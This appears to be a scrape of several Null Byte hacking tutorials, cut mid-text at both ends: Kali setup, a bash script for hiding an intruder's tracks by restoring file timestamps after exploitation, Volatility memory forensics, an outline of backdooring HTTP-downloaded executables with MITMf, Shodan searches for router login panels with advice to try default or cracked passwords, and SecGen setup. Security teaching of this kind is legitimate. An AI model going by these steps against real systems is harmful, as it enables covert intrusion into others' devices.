drive so that you can have two or more operating systems on the hard drive and simply boot into which ever one you please.The advantages of a dual boot system are multi-fold. First, Kali will run faster with less resources. Two, you will NOT need an additional wireless card (but it is still recommended). Third, you will not have the additional complexities of working in a VM.Step 3: Navigate in KaliOnce we have Kali installed, you can see that it looks similar to BackTrack with the same background and logo. Also, unlike BackTrack, you don't have the choice of interfaces.The only interface Kali offers is the ever popular GNOME interface (I prefer KDE, but I will now be working in GNOME in Kali). Of course, you can downloadthe KDE interfaceif you prefer and install and run it.Step 4: The GNOME/Kali InterfaceIf you have used another Linux distribution with the GNOME interface, the pull-down menus at the top of the desktop will be familiar to you.The applications menu to the very far left is the one we are most interested in. When we pull it down, you can see the "Kali Linux" menu about midway down. That is where we will start most of our hacks (remember, though, that one of the advantages of Kali is that we can invokeanytool fromanydirectory from the terminal, so that menu system will be less necessary).Just like BackTrack, it then subdivides our hacking tools into various categories.Step 5: The Top Ten Security ToolsOne of the many things that the folks at Offensive Security added to Kali was a "Top Ten Security Tools" menu. As you can see below, this includes some of my favorite tools such asnmap,Metasploit,sqlmap,Wireshark, andaircrack-ngamong others.Keep coming back, my apprentice hackers, as we explore further the nefarious capabilities of Kali!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Run Kali Linux as a Windows SubsystemHow To:Build and Install Kali Nethunter (The New Version) On a Supported Android Device Running Android 6.0.1How To:Bypass Locked Windows Computers to Run Kali Linux from a Live USBHow To:Linux Basics for the Aspiring Hacker: Using Start-Up Scripts
How Hackers Cover Their Tracks on an Exploited Linux Server with Shell Scripting « Null Byte :: WonderHowTo
An attacker with shell access to a Linux server can manipulate, or perhaps even ruin, anything they have access to. While many more subtle attacks could provide significant value to a hacker, most attacks also leave traces. These traces, of course, can also be manipulated and avoided through methods such as shell scripting.Finding evidence of an attack can start with a trace left behind by an attacker like a file modification date. Every time a file is created, modified, or "touched" in Unix terminology, it generally updates the modification time of a file. Every file within aLinuxfilesystem contains a modification date stored somewhere.Don't Miss:Scripting for the Aspiring Hacker (BASH Basics)To a system administrator, files which suddenly display a recent modification time may notify them of an attack and prompt them to take action to lock down a system. Luckily for an attacker, modification times are not an infallible record. These modification times themselves can be spoofed or modified. One such way an attacker might automate the process of backing up and restoring modification times is to write a shell script.Step 1: Viewing & Manipulating TimestampsSeveral tools included on most Linux systems allow us to very quickly view and modify file timestamps. The most relevant tool for affecting this property is referred to astouch. This command allows us to create a new file or update the last time a file or group of files were "touched."touch fileRunning the command above will create a new file named "file" if it does not already exist, and if it does exist, it will update the modification date with the current system time. We can also use a wildcard, like in the string below.touch *This command will update the timestamp of every file in the folder in which it was run.After creating or modifying our file, there are a couple of ways we can view its details. The first is using thestatcommand.stat fileRunning stat returns some information about the file, including Access, Modify, and Change timestamps. For a batch of files, we can also view the timestamps of various files within a folder with parameters ofls. This command lists files, and the-lflag, or "long" option, also includes the timestamps of these files within its output.ls -lNow that we can set current timestamps and view those which have already been set, we can also use touch to define a custom timestamp. We can do this by using thedflag and defining a specific time in a YYYY-MM-DD format followed by a time in hours, minutes, and seconds.touch -d "2001-01-01 20:00:00" fileWe can confirm this was set by usingls.ls -l fileWhile this is useful in individual use cases, it would be very ineffective to use this technique to manually change different modification times on a server after editing the files. We can automate this process with a shell script.Step 2: Organizing the Shell ScriptBefore beginning the script, we should consider exactly what processes we need it to carry out. For the purposes of hiding tracks on a server, an attacker would need to be able to back up the original timestamps of a folder by writing them to a file, as well as to be able to restore them to the original files after we have modified them by whatever configuration changes we create during the exploitation phase.These two different functions could be triggered by different user inputs, or arguments. As our script will function based on these arguments, we'll also want to have a way to handle errors. This leaves us with a total of three potential courses of action depending on user input.no argument: return error messagesave timestamps flag: save timestamps to a filerestore timestamps flag: restore timestamps to files according to saved listWhile we could use nested if/or statements to create this script, we could also assign each one of these functions to their own "if" statement based on the conditions. We can begin writing the script in the text editor of our choice, or perhaps by using nano.Don't Miss:Linux Basics for the Aspiring Hacker (Logging)Step 3: Beginning the ScriptWe can launchnanofrom the command line and create a script titled "timestamps.sh" with the command below.nano timestamps.shFirst, let's begin the script with#!/bin/bashin order to declare the shell script as a bash script, and then write our first if statement. We'll begin withifand add a condition of[ $# -eq 0 ]. This condition indicates that if there is no argument whatsoever, and the program should do what follows thethen. In the example case, we return an error message to the user usingechoand then exit the program and close the if loop withfi.#!/bin/bashif [ $# -eq 0 ]; thenecho "Use a save (-s) or restore (-r) parameter."exit 1fiAfter we save this file, by pressingCtrl+Oin nano, we should mark it as a script which can be run. We can do this withchmod.chmod +x timestamps.shNext, we can run the script with no arguments in order to test the functionality of our error message../timestamps.shIf the script returns our echo statement, we're ready to move on to the next condition.Step 4: Writing Timestamps to a FileWe'll begin by defining an if statement which will occur only if the user input matches the defined flag.if [ $1 = "-s" ] ; thenfiThe first line defines the condition for the if statement as if the user input,$1, is equal to"-s"then it should do the sequence of steps within the if statement. As stated in our error statement, the"-s"flag indicates that the script will be run in the "save" function. We can now begin to write what this part of the script actually involves.The first line should remove, or at least check the existence of, the file which we plan to save the timestamps to. While this could be avoided by using a unique filename, and improved by using a hidden file as prefaced with a period in the filename, it's still ideal to remove the file if it exists. This will avoid accidental overlap or incorrect inputs if the file previously had any sort of content within it.rm -f timestamps;This line will remove a file named "timestamps" if that file exists. Next, we'll want to uselsin order to begin generating a list of files and their modification times. We can run ls and pipe its output to another program, such as sed, to help us clean this input later.ls -lWe'll want to limit the output fromlsto only what we need. When runningls -l, the output generally appears similar to the string below.-rw-r--r-- 1 user user 0 Jan 1 2017 fileFor the purposes of saving timestamps, we only need the year, month, day, and filename. While we could attempt to remove everything before the three-letter month abbreviation based on the number of spaces or characters before it, we can be absolutely certain of where we choose to discard unnecessary information by looking for a specific string, such as a month. The string below will remove everything on a line before the occurrence ofJan.ls -l file | sed 's/^.*Jan/Jan/p'However, while we now have all of the information we need for our program, it's not in a useable format. For usingtouchto set the modification times, the months should be in a format of numbers rather than three-letter abbreviations. We can modify this inline by changing the second string within thesedcommand below.ls -l file | sed 's/^.*Jan/01/p'Here,Janis replaced with01in addition to everything before it on the line being replaced. We can extend this system to all other possible months.ls -l | sed -n 's/^.*Jan/01/p;s/^.*Feb/02/p;s/^.*Mar/03/p;s/^.*Apr/04/p;s/^.*May/05/p;s/^.*Jun/06/p;s/^.*Jul/07/p;s/^.*Aug/08/p;s/^.*Sep/09/p;s/^.*Oct/10/p;s/^.*Nov/11/p;s/^.*Dec/12/p;'Now, if run within a folder, our output should look similar to below.This output is usable for our script, so we can add it and send the input to a file with the>>redirection. In this case, output is sent to a file named "timestamps."do echo $x | ls -l | sed -n 's/^.*Jan/01/p;s/^.*Feb/02/p;s/^.*Mar/03/p;s/^.*Apr/04/p;s/^.*May/05/p;s/^.*Jun/06/p;s/^.*Jul/07/p;s/^.*Aug/08/p;s/^.*Sep/09/p;s/^.*Oct/10/p;s/^.*Nov/11/p;s/^.*Dec/12/p;' >> timestampsNow, the first two possible actions of the script should be completed, and it should look similar to the image below.We can test the script by running it with the-sflag we have now defined../timestamps.sh -sAfter running the script, we can check that the information was saved usingcat.cat timestampsIf a list of times and filenames is returned, we're ready to move on to writing the final part of the script.Step 5: Restoring Timestamps to FilesAfter saving the original timestamps of items within a directory, the post-exploitation function of the script is to restore the timestamp backups to the files such that nothing is changed. The first step of defining this behavior is to begin with an if statement for the new flag, as in the previous section.if $1 = "-r" ; thenfiIn this case, the"-r"flag is used. Next, we'll want to read in our file of saved timestamps in a way where we can do an action for each line. We can forward the contents of the text file usingcat, and use this input in awhile readstatement. This will be enclosed within the previous if statement.cat timestamps | while read linedodoneAnything we do following these lines will be run for each single line of the file independently. Now we can assign some variables to make using the data within the file more simple.MONTH=$(echo $line | cut -f1 -d\ );DAY=$(echo $line | cut -f2 -d\ );FILENAME=$(echo $line | cut -f4 -d\ );YEAR=$(echo $line | cut -f3 -d\ )These lines each use acutstatement based on the location of a given element of the string, specifically its reference point to the number of spaces separating them.While these four variables are all relatively consistent in the way which they are formatted in the saved timestamps file, there is some variation in the way which years and times are formatted. If a timestamp occurred within the past year, it prints the hour rather than the year.As such, when we only have a time in hour and minutes, we'll need to be able to determine the current year as well. While we could just assign this to the year in which we're writing the script, we can also return it from the system.One integrated Unix utility for this purpose iscal, or calendar. We can launch this from the command line.calThe current year is shown in the first line of the program's output. We can retrieve this as a variable with the line below.CURRENTYEAR=$(cal | head -1 | cut -f6- -d\ | sed 's/ //g')We runcal, retrieve only the first line usinghead, cut it according to what we need usingcut, and finally trim unwanted output usingsed.Now that all variables are defined, we can use anif elsestatement to update the timestamps on files according to the way the date is formatted. We'll use the same touch syntax with the-dparameter as before.touch -d "2001-01-01 20:00:00" fileRather than before, however, each of these will be fulfilled by a variable rather than a defined setting. The first if statement will handle dates with times in hours and minutes. These times each contain a colon, so if the input includes a colon it will react accordingly.if [ $YEAR == *:* ]; thentouch -d $CURRENTYEAR-$MONTH-$DAY\ $YEAR:00 $FILENAME;If not, we can finish this with an else statement for the normaltouchbehavior and close the if statement.elsetouch -d ""$YEAR-$MONTH-$DAY"" $FILENAME;fiThe code for this section now should appear similar to the image below.With the restoration function completed, the script is now ready to use.Step 6: Using the ScriptUsing the script is as simple as using it with the appropriate flag. The command below saves file timestamps../timestamps.sh -sWe can run this first, and if we wish, check the created timestamps file to confirm. After this, we can run a command like the one below in order to manipulate the timestamps for all files within a directory.touch -d "2050-10-12 10:00:00" *We can confirm that these files were modified withls.ls -aNow that they've been modified, we can restore them to our backed up version../timestamps.sh -rFinally, we can confirm that this process worked by runningls -aonce more. If the timestamps now match those defined in the backup file, the script has worked successfully!Timestamps Can LieThis script considers just some of the many fragments and traces which will be left after an attack on a server. When considering how to hide one's traces, hackers must consider every single way and point at which they had accessed or manipulated a server.A clever attack treads carefully and keeps track of what has been modified, considering how to hide these tracks before they even touch a server. A system administrator must be aware both that many of their logs and protective measures can be manipulated, and they must not always trust that things are secure just because they look like they did previously.Thanks for reading! If you have any questions, you can leave a comment below or on Twitter [email protected] Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byKin Lane/Flickr; Screenshots by Takhion/Null ByteRelatedHow To:Find Exploits & Get Root with Linux Exploit SuggesterHow to Hack Like a Pro:Getting Started with MetasploitHow To:Find & Exploit SUID Binaries with SUID3NUMHack Like a Pro:How to Use PowerSploit, Part 1 (Evading Antivirus Software)How To:Exploit Shellshock on a Web Server Using MetasploitHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 12 (Web Delivery for Linux or Mac)Hack Like a Pro:How to Hack the Shellshock VulnerabilityHack Like a Pro:Scripting for the Aspiring Hacker, Part 1 (BASH Basics)How To:Reverse Shell Using PythonHack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)How To:Create a Metasploit Exploit in Few MinutesNews:Even Microsoft Acknowledges the Superiority of the Bash Shell NowHow To:Use LinEnum to Identify Potential Privilege Escalation VectorsHack Like a Pro:Scripting for the Aspiring Hacker, Part 3 (Windows PowerShell)How To:Perform Local Privilege Escalation Using a Linux Kernel ExploitHow To:Use MinGW to Compile Windows Exploits on Kali LinuxDon't Be a Script-Kiddie part1:Introduction to Shell ScriptHow To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Perl Scripting for the Aspiring Hacker, Part 1How To:Use SQL Injection to Run OS Commands & Get a ShellHow To:Attack a Vulnerable Practice Computer: A Guide from Scan to ShellHow To:Configure a Reverse SSH Shell (Raspberry Pi Hacking Box)How To:Hack UnrealIRCd Using Python Socket ProgrammingHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHow To:Push and Pull Remote Files Securely Over SSH with PipesRoot Exploit:Memodipper Gets You Root Access to Systems Running Linux Kernel 2.6.39+How To:Spider Web Pages with Nmap for SQLi VulnerabilitiesGoodnight Byte:HackThisSite Walkthrough, Part 7 - Legal HackerCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingHow To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASHGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 7 - Legal Hacker TrainingHow To:Create an SSH Tunnel Server and Client in Linux
Hack Like a Pro: Digital Forensics for the Aspiring Hacker, Part 15 (Parsing Out Key Info from Memory) « Null Byte :: WonderHowTo
Welcome back, my budding hackers!Digital forensics is one of IT's most rapid-growing disciplines. All hackers should be familiar withdigital forensicsif for no other reason than to protect themselves. More than one hacker has been apprehended because they were unaware of the evidence trail they left behind.Inmy previous tutorial in this series, we looked at how to grab a forensic image of the RAM andpagefile.sysof a Windows system. We then used the open-source tool Volatility on our Kali OS to parse the type of image and the registry hives.In this tutorial, we will look to find other information on that image that we can parse out that may have forensic significance. As we know, there is voluminous amount of information in the RAM of a running system that can reveal what the suspect was doing at the time of the system capture. This would include, of course, much of the same information we can get fromSysinternalsfrom a running system, but here we are working with a memory image and not a running system. In most forensic investigations of a suspect's computer, we are working with a forensic image of the RAM and not the running system.Before we start here, I am assuming that you have captured the memory image with one of the many memory-capturing tools such asFTK Imagerand have parsed out the profile from the image withVolatility.Parsing out the image profile is crucial, as each operating system stores information in different places in RAM. Volatility needs to know the profile (OS, service pack, and architecture) to know where to look in the memory image for the necessary information. If you put in the wrong profile information, Volatility will throw errors telling you it can't parse the information properly. In that case, try another image profile. Unfortunately, the profile image that this tool provides is not always correct.Step 1: Getting the List of ProcessesAs our first step, let's see if we can find the processes that the suspect had running when we captured the RAM image. We can do this by typing:kali > python vol.py --profile Win7SP1x64 pslist -f /root/Desktop/memdump.memLet's break that down:pythonis the interpreter.vol.pyis the name of the Volatility script.--profile Win7SP1x64is the profile of the system the memory image was captured from.pslistis the plugin to parse out the running processes.-f /root/Desktop/memdump.memis the location of the image file.As you can see, Volatility has parsed out all the running processes. To gather even more information from the RAM image, we can use exactly the same command as above with the exception of changing the name of the plugin.To get a list of available plugins you could use, type:kali > python vol.py -hStep 2: Getting the Running DLLsTo view the running DLLs on the system, we simply use thedlllistplugin like below:kali > python vol.py --profile Win7SP1x64 dlllist -f /root/Desktop/memdump.memAs you can see, Volatility parsed out a list of all the running DLLs.Step 3: Getting the Contents of the System's ClipboardSometimes, what the suspect had in their clipboard can be incriminating. We can retrieve the information from the suspect's RAM by using theclipboardplugin like below.kali > python vol.py --profile Win7SP1x64 clipboard -f /root/Desktop/memdump.memUnfortunately, all this information is in hexadecimal and must be translated to ASCII.Step 4: Getting a Timeline of EventsOften times, to prove that a suspect actually committed the action they are accused of, we may need a timeline of events that took place on that system. We can retrieve this timeline information from the memory image by using thetimelinerplugin like below.kali > python vol.py --profile Win7SP1x64 timeliner -f /root/Desktop/memdump.memNote that each process is time stamped.Step 5: Looking for Malware in the MemoryLastly, let's look for any malware running in the memory of the suspect system. Volatility has a plugin especially designed for this purpose, appropriately namedmalfind. We can use it like any other Volatility plugin. Simply type the same command as above but replace the name of the plugin with malfind.kali > python vol.py --profile Win7SP1x64 malfind -f /root/Desktop/memdump.memAs you can see, this suspect had numerous pieces of malware running on their system. This information may actually be exculpating as the presence of malware would indicate that someone else had control of the system and may have committed the actions the suspect is accused of.Keep coming back, my budding hackers, as we explorethe world of digital forensics. Be safe!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 6 (Using IDA Pro)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 5 (Windows Registry Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 12 (Windows Prefetch Files)How To:The Essential Skills to Becoming a Master HackerNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 8 (More Windows Registry Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 14 (Live Memory Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 11 (Using Splunk)News:Why YOU Should Study Digital ForensicsHow To:Become a Computer Forensics Pro with This $29 TrainingHack Like a Pro:Digital Forensics Using Kali, Part 1 (The Tools of a Forensic Investigator)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 2 (Network Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 7 (Windows Sysinternals)Hack Like a Pro:Hacking the Heartbleed VulnerabilityHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 9 (Finding Storage Device Artifacts in the Registry)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 12 (Loadable Kernel Modules)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 10 (Identifying Signatures of a Port Scan & DoS Attack)News:Airline Offers Frequent Flyer Miles to HackersNews:What to Expect from Null Byte in 2015News:Sneaky! WhatsApp Adds Encryption to iCloud Backups on the SlyHack Like a Pro:Reconnaissance with Recon-Ng, Part 1 (Getting Started)Hack Like a Pro:How to Build Your Own Exploits, Part 1 (Introduction to Buffer Overflows)Hack Like a Pro:Digital Forensics Using Kali, Part 2 (Acquiring a Hard Drive Image for Analysis)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 2 (Keywords)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 4 (Evading Detection While DoSing)Hacker Hurdles:DEP & ASLRHow To:Why You Should Study to Be a HackerGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsNews:Indie and Mainstream Online Games Shut Down by LulzSecCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsNews:Day 2 Of Our New WorldCommunity Byte:HackThisSite, Realistic 4 - Real Hacking Simulations
Mr. Robot Hacks « Null Byte :: WonderHowTo
No content found.
How to Inject Payload into Softwares via HTTP « Null Byte :: WonderHowTo
Please enable JavaScript to watch this video.Hi, this is a quick demo about how to backdoor executables (software) sent over HTTP using MITMF, backdoor factoryThis attack works on LANREQUIREMENTS:-Kali Linux or any Linux OS-Wireless USB Adapter e.g. (TL-WN722N)-MITMf (man-in-the-middle framework)https://github.com/byt3bl33d3r/MITMf-MSFconsole or ArmitageLAN network, same as the target/victimATTACK SCENARIO:Machine A-victimMachine B-attackerA situation where machine A wants to download a software for example winrar, the victim goes through google and lands on the page (http://www.win-rar.com/download.html?&L=0) the attacker is already waiting to inject payload into binaries served over (HTTP)This attack is possible because a lot of tool websites still serve binaries via non-SSL/TLS means.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Load & Use Keystroke Injection Payloads on the USB Rubber DuckyHow To:Embed a Metasploit Payload in an Original .Apk File | Part 2 – Do It ManuallyAndroid for Hackers:How to Backdoor Windows 10 Using an Android Phone & USB Rubber DuckyHacking Windows 10:How to Create an Undetectable Payload, Part 2 (Concealing the Payload)Hacking macOS:How to Create an Undetectable PayloadHow To:Inject Coinhive Miners into Public Wi-Fi HotspotsHow To:Hook Web Browsers with MITMf and BeEFHack Like a Pro:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)Hack Like a Pro:How to Change the Signature of Metasploit Payloads to Evade Antivirus DetectionHow to Hack with Arduino:Tracking Which Networks a Mac Has Connected To & WhenHow To:Make a Reverse HTTPS Payload and Send It with CobaltStrikeHow To:Use the USB Rubber Ducky to Disable Antivirus Software & Install RansomwareHow To:Backdooring on the Fly with MITMfHack Like a Pro:How to Bypass Antivirus Software by Disguising an Exploit's SignatureHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyHack Like a Pro:How to Hijack Software Updates to Install a Rootkit for Backdoor AccessHack Like a Pro:Metasploit for the Aspiring Hacker, Part 3 (Payloads)Drive-By Hacking:How to Root a Windows Box by Walking Past ItNews:Create a video for legendary rock band Senser, and win Magic Bullet Looks!Root Exploit:Memodipper Gets You Root Access to Systems Running Linux Kernel 2.6.39+News:View Serials for any Software you want (without downloading)How To:Use Tortunnel to Quickly Encrypt Internet Traffic
Hack Like a Pro: How to Find Any Router's Web Interface Using Shodan « Null Byte :: WonderHowTo
Welcome back, my hacker noviates!In a recent post, I introduced you toShodan, the world's most dangerous search engine. Shodan crawls the globe from IP to IP address, attempting to pull the banners of each web-enabled device and server it finds.These banners are what the web servers and devices "advertise" to the world as to who they are. By searching these web banners, we can find the log-in interface for nearly every web-enabled device on planet earth.Shodan Doesn't Index Content, It Indexes BannersIt's important to note that unlike Google, Bing, Yahoo, and other search engines, Shodan does not index thecontentof a website, rather it indexes the information in the banner. These banners will tell us whether the device is a webcam, a router, a VOIP phone system, or whatever, along with something about the underlying technology.To do a specific search in Shodan, you need to understand what is in these banners and how we can use it to search for a specific and vulnerable site.The Search Tools Are a Lot Like Other Search EnginesThe search syntax for Shodan is very similar to the searching on other search engines, but what you are searching for isverydifferent. Shodan accepts the same standard Boolean operators as the others (+-|) and quotation marks can be used to narrow a search to only the exact content between the quotation marks.Shodan also accepts some basic filters that allows you to narrow down your search results. These include the following.after/before- limits our results to banners that have been indexed before or after a specific datecountry- filters our results by country using the two-letter country codehostname- filters results by domain namenet- filters results by IP address range using CIDR notationgeo- filters by longitude and latitudeos- filters results by host operating systemport- filters results by portNow that we have the basics of Shodan searching and filtering, let's see what we can find.Step 1: Log in to ShodanFirst, let's log in to Shodan. Although you can use Shodan without logging in, some of the filters we will use here require us to login to enable them. Navigate toshodanhq.comand log in.Step 2: Search for Cisco RoutersOnce logged in, let's do a search for Cisco banners. These would be the banners on Cisco devices (the most widely used routers and switches in the world) that have a Internet-enabled administration panel. When we do, Shodan finds over 3 million devices! It breaks it down by country on the left side panel as you can see below.Step 3: Filter by CountrySo, now we have all the Cisco devices indexed by Shodan. The 3+ million devices is a pretty unwieldy amount to work with, so let's try to target our search by country. In this case, let's find all the Cisco devices in India.To do so, we will need the two-letter country code of India, which isIN. The syntax then finding all the Cisco routers in India is below. Note the colon (:) between the keyword country and the two-letter country code.cisco country:INWhen we do so, we narrow our search considerably. As you can see in the screenshot below, we are now down to 71,147 routers. Still an unwieldy amount, but considerably smaller.Step 4: Filter by PortLet's continue to narrow our search and try to become very specific for what we are seeking. Let's imagine that we are looking for Cisco routers that enable VOIP in India. We know that VOIP uses the SIP protocol and the SIP protocol uses port 5060, so let's find all the Cisco routers in India that use VOIP. We can type in the search window:cisco country:IN port:5060As you can see below, we have now narrowed our results down dramatically to just 2,435 routers.Step 5: Narrow the Results by IP AddressFinally, let's narrow our search down a even further. Let's add one more condition, an IP address range. Let's look for Cisco routers in India that use port 5060 (VOIP) on the IP address range of 125.63.65.0/24.cisco country:IN port:5060 net:125.63.65.0/24As you can see, we have narrowed our search of Cisco routers from 3 million to a single router in India with port 5060 open!Step 6: Open the ResultsFinally, let's click on the info for that router. As you can see below, Shodan provide us a significant amount of info on this single router.To be able to access these devices, you would be well-advised to first look up the admin username and password as many admins are too lazy or reckless to change them. If you look through this banner carefully, there is an indication that there is at least a single user named "root". With that info, it becomes a password cracking exercise.In my next Shodan post, we will examine further ways to find vulnerable sites, so keep coming back!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseMap image via Shodan,Crosshairsvia ShutterstockRelatedHack Like a Pro:How to Find Vulnerable Targets Using Shodan—The World's Most Dangerous Search EngineNews:Hacking SCADAThe Hacks of Mr. Robot:How to Use the Shodan API with Python to Automate Scans for Vulnerable DevicesHow To:Find Vulnerable Webcams Across the Globe Using ShodanHack Like a Pro:How to Crack Online Passwords with Tamper Data & THC HydraHow To:Hack WiFi Using a WPS Pixie Dust AttackHow To:Hack Together a YouTube Playing Botnet Using ChromecastsHow To:Seize Control of a Router with RouterSploitHacker Fundamentals:The Everyman's Guide to How Network Packets Are Routed Across the WebNews:How to Study for the White Hat Hacker Associate Certification (CWA)How To:Set Up an SSH Server with Tor to Hide It from Shodan & HackersHow To:Recover a Lost WiFi Password from Any DeviceHack Like a Pro:How to Hack Web Apps, Part 2 (Website Spidering with WebScarab)Hack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:Locate & Exploit Devices Vulnerable to the Libssh Security FlawHow To:Share Your Windows 8 PC's Internet with a Phone or Tablet by Turning It into a Wi-Fi HotspotNews:Secure Your Wireless Network from Pillage and Plunder in 8 Easy StepsNews:What does Pro Tools HD Native mean for you?How To:Hack Wireless Router Passwords & Networks Using HydraHow To:Get Free Wi-Fi from Hotels & MoreNews:Finding the Exploits Out in the World (For Beginner Hackers)How To:Hack Wi-Fi Using Wifite in KaliHow To:The Official Google+ Insider's Guide IndexNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Four: The Invisible InternetHow To:Use I2P to Host and Share Your Secret Goods on the Dark Web—Anonymously
How to Use SecGen to Generate a Random Vulnerable Machine « Null Byte :: WonderHowTo
Recently, I ran acrossSecGen, a project which allows a user to create random vulnerable machines. I absolutely love vulnerable machines, since a vulnerable VM is a safe and legal way to practice hacking tactics, test out new tools, and exercise your puzzle-solving skills.What really got me interested in SecGen was the randomization feature. Most vulnerable machine downloads are static, meaning each version will always have the same vulnerabilities. Not very realistic. SecGen is different because it can generate unique vulnerable machines.Instead of digging throughVulnHub, or going through the Metasploitable checklist, you can have a vulnerable machine ready to go in minutes, with a different set of challenges each time. SecGen also allows for a good bit of user customization, which would make it useful in generating CTFs, or specifying a challenge for yourself.In this article, I will cover the installation of SecGen on Kali Linux and the generation of a vulnerable machine. If you need a good starter Kali computer for hacking, you can check out our guide linked below on setting one up on thelow-cost Raspberry Pi.Learn More:Build a Kali Linux Hacking Computer on the Raspberry PiStep 1: Installing SecGenAs always, we'll need to update before beginning to ensure everything works properly. You can do this by runningapt-get update. After updating, the first thing to do is clone a copy of this project from the git repository. To do so, type the following into terminal.git clonehttps://github.com/SecGen/SecGenOnce we have our source where we want it, it's time to make sure we have all the dependencies required. To do so, execute the following command in terminal.sudo apt install ruby-dev zlib1g-dev liblzma-dev build-essential patch virtualbox ruby-bundler vagrant imagemagick libmagickwand-devOnce all of the dependencies have completed installation, navigate to your SecGen directory withcd SecGenand run the command:bundle installI didn't prependsudoto this command because it's better practice to run bundle as a non-privileged user. It will prompt for your password, when necessary. Running bundle as root can cause issues and conflicts on your system.If you get a message like the one above, simply check your Ruby version number by typing the following.ruby --versionDepending on your Ruby version complete the steps required. In my case, none.Step 2: Setting Up Your First VMGenerating a random vulnerable VM is supposed to be as easy as typing the following into terminal.ruby secgen.rb runUnfortunately, at the time of writing, there is anissuewith the version of Vagrant from the Kali repository. I also had some issues with Ruby gems. If your machine refuses to come up and has fatal errors, I recommend downgrading your version of Vagrant. In order to do this, you can execute the following command in terminal.apt purge vagrantThen, download the Debian package fromthe Vagrant site.We'll usedpkgto install the vagrant.deb file by typing the following.dpkg -i vagrant1.9.7x86_64.debNow, go back to your SecGen folder and try the following command.ruby secgen.rb runIf this works without errors, you don't need to clean up your Ruby gems. If you encounter errors, you may have some gem issues to fix. You can fix these issues with the command below.sudo gem cleanupI had to do both of the above steps in order to get SecGen running on my system. You may not need to do any. I hope that this issue will be resolved fairly quickly in the future. Once I had completed both steps, I was able to start building my vulnerable machine with the following command.ruby secgen.rb runThe build process takes some time, but it's not too bad. Considering the time it takes to 